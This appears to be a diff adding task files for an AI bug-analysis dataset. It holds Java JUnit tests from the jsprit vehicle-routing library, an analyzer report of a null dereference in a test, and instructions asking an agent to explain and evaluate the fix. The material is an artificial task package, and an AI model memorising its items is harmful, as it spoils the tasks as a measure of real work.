+		assertEquals(2,readVrp.getJobs().size());
+		
+		assertEquals(1.0,((Shipment)readVrp.getJobs().get("1")).getPickupLocation().getCoordinate().getX(),0.01);
+		assertEquals(2.0,((Shipment)readVrp.getJobs().get("1")).getPickupLocation().getCoordinate().getY(),0.01);
+		
+		assertEquals(5.0,((Shipment)readVrp.getJobs().get("1")).getDeliveryLocation().getCoordinate().getX(),0.01);
+		assertEquals(6.0,((Shipment)readVrp.getJobs().get("1")).getDeliveryLocation().getCoordinate().getY(),0.01);
+	}
+	
+	@Test
+	public void whenWritingShipmentWithSeveralCapacityDimension_itShouldWriteAndReadItCorrectly(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		Shipment s1 = Shipment.Builder.newInstance("1")
+				.setPickupCoord(Coordinate.newInstance(1, 2)).setDeliveryCoord(Coordinate.newInstance(5, 6)).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).setPickupServiceTime(100).setDeliveryServiceTime(50)
+				.addSizeDimension(0, 10)
+				.addSizeDimension(2, 100)
+				.build();
+		
+		Shipment s2 = Shipment.Builder.newInstance("2").addSizeDimension(0, 20).setPickupLocation(Location.Builder.newInstance().setId("pickLocation").build()).setDeliveryLocationId("delLocation").setPickupTimeWindow(TimeWindow.newInstance(5, 6))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(7, 8)).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		
+		assertEquals(3,(readVrp.getJobs().get("1")).getSize().getNuOfDimensions());
+		assertEquals(10, (readVrp.getJobs().get("1")).getSize().get(0));
+		assertEquals(0,(readVrp.getJobs().get("1")).getSize().get(1));
+		assertEquals(100,(readVrp.getJobs().get("1")).getSize().get(2));
+		
+		assertEquals(1,(readVrp.getJobs().get("2")).getSize().getNuOfDimensions());
+		assertEquals(20,(readVrp.getJobs().get("2")).getSize().get(0));
+	}
+	
+	@Test
+	public void whenWritingVehicleV1_itsStartLocationMustBeWrittenCorrectly(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+		Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+
+		Vehicle v = getVehicle("v1",readVrp.getVehicles());
+		assertEquals("loc",v.getStartLocationId());
+		assertEquals("loc",v.getEndLocationId());
+		
+	}
+
+    @Test
+    public void whenWritingService_itShouldHaveTheCorrectNuSkills(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        Service s = Service.Builder.newInstance("1").addRequiredSkill("sKill1").addRequiredSkill("skill2").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+
+        assertEquals(2,readVrp.getJobs().get("1").getRequiredSkills().values().size());
+    }
+
+    @Test
+    public void whenWritingService_itShouldContain_skill1(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        Service s = Service.Builder.newInstance("1").addRequiredSkill("sKill1").addRequiredSkill("skill2").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+
+        assertTrue(readVrp.getJobs().get("1").getRequiredSkills().containsSkill("skill1"));
+    }
+
+    @Test
+    public void whenWritingService_itShouldContain_skill2(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        Service s = Service.Builder.newInstance("1").addRequiredSkill("sKill1").addRequiredSkill("skill2").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+
+        assertTrue(readVrp.getJobs().get("1").getRequiredSkills().containsSkill("skill2"));
+    }
+	
+	@Test
+	public void whenWritingVehicleV1_itDoesNotReturnToDepotMustBeWrittenCorrectly(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setReturnToDepot(false).setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+		Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		
+		Vehicle v = getVehicle("v1",readVrp.getVehicles());
+		assertFalse(v.isReturnToDepot());
+	}
+	
+	@Test
+	public void whenWritingVehicleV1_readingAgainAssignsCorrectType(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setReturnToDepot(false).setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+		Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		
+		Vehicle v = getVehicle("v1",readVrp.getVehicles());
+		assertEquals("vehType",v.getType().getTypeId());
+	}
+	
+	@Test
+	public void whenWritingVehicleV2_readingAgainAssignsCorrectType(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setReturnToDepot(false).setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+		Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		
+		Vehicle v = getVehicle("v2",readVrp.getVehicles());
+		assertEquals("vehType2",v.getType().getTypeId());
+		assertEquals(200,v.getType().getCapacityDimensions().get(0));
+		
+	}
+	
+	@Test
+	public void whenWritingVehicleV2_readingItsLocationsAgainReturnsCorrectLocations(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setReturnToDepot(false).setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("startLoc").setStartLocationCoordinate(Coordinate.newInstance(1, 2))
+				.setEndLocationId("endLoc").setEndLocationCoordinate(Coordinate.newInstance(4, 5)).setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+		Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		
+		Vehicle v = getVehicle("v2",readVrp.getVehicles());
+		assertEquals("startLoc",v.getStartLocationId());
+		assertEquals("endLoc",v.getEndLocationId());
+	}
+	
+	@Test
+	public void whenWritingVehicleV2_readingItsLocationsCoordsAgainReturnsCorrectLocationsCoords(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setReturnToDepot(false).setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("startLoc").setStartLocationCoordinate(Coordinate.newInstance(1, 2))
+				.setEndLocationId("endLoc").setEndLocationCoordinate(Coordinate.newInstance(4, 5)).setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+		Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		
+		Vehicle v = getVehicle("v2",readVrp.getVehicles());
+		assertEquals(1.0,v.getStartLocationCoordinate().getX(),0.01);
+		assertEquals(2.0,v.getStartLocationCoordinate().getY(),0.01);
+		
+		assertEquals(4.0,v.getEndLocationCoordinate().getX(),0.01);
+		assertEquals(5.0,v.getEndLocationCoordinate().getY(),0.01);
+	}
+	
+	@Test
+	public void whenWritingVehicleWithSeveralCapacityDimensions_itShouldBeWrittenAndRereadCorrectly(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("type")
+				.addCapacityDimension(0, 100)
+				.addCapacityDimension(1, 1000)
+				.addCapacityDimension(2, 10000)
+				.build();
+
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v").setStartLocationId("startLoc").setStartLocationCoordinate(Coordinate.newInstance(1, 2))
+				.setEndLocationId("endLoc").setEndLocationCoordinate(Coordinate.newInstance(4, 5)).setType(type2).build();
+		builder.addVehicle(v2);
+
+		VehicleRoutingProblem vrp = builder.build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		
+		Vehicle v = getVehicle("v",readVrp.getVehicles());
+		assertEquals(3,v.getType().getCapacityDimensions().getNuOfDimensions());
+		assertEquals(100,v.getType().getCapacityDimensions().get(0));
+		assertEquals(1000,v.getType().getCapacityDimensions().get(1));
+		assertEquals(10000,v.getType().getCapacityDimensions().get(2));
+	}
+	
+	@Test
+	public void whenWritingVehicleWithSeveralCapacityDimensions_itShouldBeWrittenAndRereadCorrectlyV2(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("type")
+				.addCapacityDimension(0, 100)
+				.addCapacityDimension(1, 1000)
+				.addCapacityDimension(10, 10000)
+				.build();
+
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v").setStartLocationId("startLoc").setStartLocationCoordinate(Coordinate.newInstance(1, 2))
+				.setEndLocationId("endLoc").setEndLocationCoordinate(Coordinate.newInstance(4, 5)).setType(type2).build();
+		builder.addVehicle(v2);
+
+		VehicleRoutingProblem vrp = builder.build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		
+		Vehicle v = getVehicle("v",readVrp.getVehicles());
+		assertEquals(11,v.getType().getCapacityDimensions().getNuOfDimensions());
+		assertEquals(0,v.getType().getCapacityDimensions().get(9));
+		assertEquals(10000,v.getType().getCapacityDimensions().get(10));
+	}
+	
+	private Vehicle getVehicle(String string, Collection<Vehicle> vehicles) {
+		for(Vehicle v : vehicles) if(string.equals(v.getId())) return v;
+		return null;
+	}
+	
+	@Test
+	public void whenWritingAndReadingInitialRouteWithShipment4_thisShipmentShouldNotAppearInJobMap(){ //since it is not part of the problem anymore
+		VehicleRoutingProblem.Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(builder).read("src/test/resources/finiteVrpWithInitialSolutionForReaderTest.xml");
+		VehicleRoutingProblem vrp = builder.build();
+		
+		new VrpXMLWriter(vrp).write("src/test/resources/finiteVrpWithInitialSolutionForWriterTest.xml");
+		
+		VehicleRoutingProblem.Builder newBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(newBuilder).read("src/test/resources/finiteVrpWithInitialSolutionForWriterTest.xml");
+		VehicleRoutingProblem newVrp = newBuilder.build();
+		
+		assertFalse(newVrp.getJobs().containsKey("4"));
+	}
+	
+	@Test
+	public void whenReadingInitialRouteWithDepTime10_departureTimeOfRouteShouldBeReadCorrectly(){ 
+		VehicleRoutingProblem.Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(builder).read("src/test/resources/finiteVrpWithInitialSolutionForReaderTest.xml");
+		VehicleRoutingProblem vrp = builder.build();
+		
+		new VrpXMLWriter(vrp).write("src/test/resources/finiteVrpWithInitialSolutionForWriterTest.xml");
+		
+		VehicleRoutingProblem.Builder newBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(newBuilder).read("src/test/resources/finiteVrpWithInitialSolutionForWriterTest.xml");
+		VehicleRoutingProblem newVrp = newBuilder.build();
+		
+		assertEquals(10.,newVrp.getInitialVehicleRoutes().iterator().next().getDepartureTime(),0.01);
+	}
+	
+	@Test
+	public void whenReadingInitialRoute_nuInitialRoutesShouldBeCorrect(){ 
+		VehicleRoutingProblem.Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(builder, null).read("src/test/resources/finiteVrpWithInitialSolutionForReaderTest.xml");
+		VehicleRoutingProblem vrp = builder.build();
+		
+		new VrpXMLWriter(vrp).write("src/test/resources/finiteVrpWithInitialSolutionForWriterTest.xml");
+		
+		VehicleRoutingProblem.Builder newBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(newBuilder).read("src/test/resources/finiteVrpWithInitialSolutionForWriterTest.xml");
+		VehicleRoutingProblem newVrp = newBuilder.build();
+		
+		
+		assertEquals(1,newVrp.getInitialVehicleRoutes().size());
+	}
+	
+	@Test
+	public void whenReadingInitialRoute_nuActivitiesShouldBeCorrect(){ 
+		VehicleRoutingProblem.Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(builder, null).read("src/test/resources/finiteVrpWithInitialSolutionForReaderTest.xml");
+		VehicleRoutingProblem vrp = builder.build();
+		
+		new VrpXMLWriter(vrp).write("src/test/resources/finiteVrpWithInitialSolutionForWriterTest.xml");
+		
+		VehicleRoutingProblem.Builder newBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(newBuilder).read("src/test/resources/finiteVrpWithInitialSolutionForWriterTest.xml");
+		VehicleRoutingProblem newVrp = newBuilder.build();
+		
+		
+		assertEquals(2,newVrp.getInitialVehicleRoutes().iterator().next().getActivities().size());
+	}
+
+    @Test
+    public void solutionWithoutUnassignedJobsShouldBeWrittenCorrectly(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        builder.addVehicle(v1);
+
+        Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+        Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+
+        VehicleRoute route = VehicleRoute.Builder.newInstance(v1).addService(s1).addService(s2).build();
+        List<VehicleRoute> routes = new ArrayList<VehicleRoute>();
+        routes.add(route);
+        VehicleRoutingProblemSolution solution = new VehicleRoutingProblemSolution(routes,10.);
+        List<VehicleRoutingProblemSolution> solutions = new ArrayList<VehicleRoutingProblemSolution>();
+        solutions.add(solution);
+
+        new VrpXMLWriter(vrp, solutions).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        List<VehicleRoutingProblemSolution> solutionsToRead = new ArrayList<VehicleRoutingProblemSolution>();
+        new VrpXMLReader(vrpToReadBuilder, solutionsToRead).read(infileName);
+
+        assertEquals(1, solutionsToRead.size());
+        assertEquals(10., Solutions.bestOf(solutionsToRead).getCost(),0.01);
+        assertTrue(Solutions.bestOf(solutionsToRead).getUnassignedJobs().isEmpty());
+    }
+
+    @Test
+    public void solutionWithUnassignedJobsShouldBeWrittenCorrectly(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        builder.addVehicle(v1);
+
+        Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+        Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+
+        VehicleRoute route = VehicleRoute.Builder.newInstance(v1).addService(s1).build();
+        List<VehicleRoute> routes = new ArrayList<VehicleRoute>();
+        routes.add(route);
+        VehicleRoutingProblemSolution solution = new VehicleRoutingProblemSolution(routes,10.);
+        solution.getUnassignedJobs().add(s2);
+        List<VehicleRoutingProblemSolution> solutions = new ArrayList<VehicleRoutingProblemSolution>();
+        solutions.add(solution);
+
+        new VrpXMLWriter(vrp, solutions).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        List<VehicleRoutingProblemSolution> solutionsToRead = new ArrayList<VehicleRoutingProblemSolution>();
+        new VrpXMLReader(vrpToReadBuilder, solutionsToRead).read(infileName);
+
+        assertEquals(1, solutionsToRead.size());
+        assertEquals(10., Solutions.bestOf(solutionsToRead).getCost(),0.01);
+        assertEquals(1, Solutions.bestOf(solutionsToRead).getUnassignedJobs().size());
+        assertEquals("2", Solutions.bestOf(solutionsToRead).getUnassignedJobs().iterator().next().getId());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `v` last assigned on line 720 could be null and is dereferenced at line 721.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void VrpXMLWriterTest.whenWritingVehicleV2_readingAgainAssignsCorrectType()
+
+### Procedure Id:
+jsprit.core.problem.io.VrpXMLWriterTest.whenWritingVehicleV2_readingAgainAssignsCorrectType():void.5a9b99437b0932c67aa4c26d95816939
+
+### File:
+jsprit-core/src/test/java/jsprit/core/problem/io/VrpXMLWriterTest.java
+
+### Key:
+VrpXMLWriterTest.java|whenWritingVehicleV2_readingAgainAssignsCorrectType|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+3acb97355cbb53fc231b50f4bce8c5f6
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5285/instruction.md b/inferredbugs-5285/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6f3e109015ac64833c1a709a9967d2f380fba7ae
--- /dev/null
+++ b/inferredbugs-5285/instruction.md
@@ -0,0 +1,244 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsprit
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ * Copyright (C) 2013  Stefan Schroeder
+ * 
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either 
+ * version 3.0 of the License, or (at your option) any later version.
+ * 
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ * 
+ * You should have received a copy of the GNU Lesser General Public 
+ * License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+ ******************************************************************************/
+package jsprit.core.algorithm.state;
+
+import static org.junit.Assert.assertEquals;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+
+import jsprit.core.problem.VehicleRoutingProblem;
+import jsprit.core.problem.cost.VehicleRoutingTransportCosts;
+import jsprit.core.problem.driver.Driver;
+import jsprit.core.problem.driver.DriverImpl;
+import jsprit.core.problem.job.Job;
+import jsprit.core.problem.job.Service;
+import jsprit.core.problem.solution.route.VehicleRoute;
+import jsprit.core.problem.solution.route.activity.ServiceActivity;
+import jsprit.core.problem.solution.route.activity.TimeWindow;
+import jsprit.core.problem.solution.route.activity.TourActivities;
+import jsprit.core.problem.solution.route.state.StateFactory;
+import jsprit.core.problem.vehicle.Vehicle;
+import jsprit.core.problem.vehicle.VehicleImpl;
+import jsprit.core.problem.vehicle.VehicleTypeImpl;
+import jsprit.core.util.Coordinate;
+import jsprit.core.util.ManhattanDistanceCalculator;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class TestTourStateUpdaterWithService {
+
+	TourActivities tour;
+
+	Driver driver;
+
+	Vehicle vehicle;
+
+	TourActivities anotherTour;
+
+	
+	StateManager states;
+
+	private VehicleRoute vehicleRoute;
+
+	@Before
+	public void setUp() {
+
+		VehicleRoutingTransportCosts cost = new VehicleRoutingTransportCosts() {
+
+			@Override
+			public double getBackwardTransportTime(String fromId, String toId,
+					double arrivalTime, Driver driver, Vehicle vehicle) {
+				return getTransportCost(fromId, toId, arrivalTime, driver, vehicle);
+			}
+
+			@Override
+			public double getBackwardTransportCost(String fromId, String toId,
+					double arrivalTime, Driver driver, Vehicle vehicle) {
+				return getTransportCost(fromId, toId, arrivalTime, driver, vehicle);
+			}
+
+			@Override
+			public double getTransportCost(String fromId, String toId, double departureTime, Driver driver, Vehicle vehicle) {
+				String[] fromTokens = fromId.split(",");
+				String[] toTokens = toId.split(",");
+				double fromX = Double.parseDouble(fromTokens[0]);
+				double fromY = Double.parseDouble(fromTokens[1]);
+
+				double toX = Double.parseDouble(toTokens[0]);
+				double toY = Double.parseDouble(toTokens[1]);
+
+				return ManhattanDistanceCalculator.calculateDistance(new Coordinate(fromX, fromY), new Coordinate(toX, toY));
+			}
+
+			@Override
+			public double getTransportTime(String fromId, String toId, double departureTime, Driver driver, Vehicle vehicle) {
+				return getTransportCost(fromId, toId, departureTime, driver, vehicle);
+			}
+		};
+
+		Service firstService = Service.Builder.newInstance("1", 5).setLocationId("10,0").setTimeWindow(TimeWindow.newInstance(0, 20)).build();
+		Service secondService = Service.Builder.newInstance("2", 5).setLocationId("0,10").setTimeWindow(TimeWindow.newInstance(0, 50)).build();
+		
+		Collection<Job> services = new ArrayList<Job>();
+		services.add(firstService);
+		services.add(secondService);
+		
+		VehicleTypeImpl type = VehicleTypeImpl.Builder.newInstance("test", 10).build();
+		vehicle = VehicleImpl.Builder.newInstance("testvehicle").setType(type).setLocationId("0,0")
+				.setEarliestStart(0.0).setLatestArrival(50.0).build();
+		
+		
+		VehicleRoutingProblem vrp = VehicleRoutingProblem.Builder.newInstance().addAllJobs(services).addVehicle(vehicle).setRoutingCost(cost).build();
+		
+		states = new StateManager(vrp);
+		states.updateLoadStates();
+		states.updateTimeWindowStates();
+		states.addStateUpdater(new UpdateVariableCosts(vrp.getActivityCosts(), vrp.getTransportCosts(), states));
+		states.addStateUpdater(new UpdateActivityTimes(vrp.getTransportCosts()));
+		
+		tour = new TourActivities();
+		tour.addActivity(ServiceActivity.newInstance(firstService));
+		tour.addActivity(ServiceActivity.newInstance(secondService));
+	
+		vehicleRoute = VehicleRoute.newInstance(tour,DriverImpl.noDriver(),vehicle);
+	}
+	
+	@Test
+	public void testCalculatedCost() {
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		assertEquals(40.0, states.getRouteState(vehicleRoute,StateFactory.COSTS).toDouble(), 0.05);
+		assertEquals(10, states.getRouteState(vehicleRoute, StateFactory.LOAD_AT_END).toDouble(), 0.05);
+	}
+	
+	@Test
+	public void testStatesOfAct0(){
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
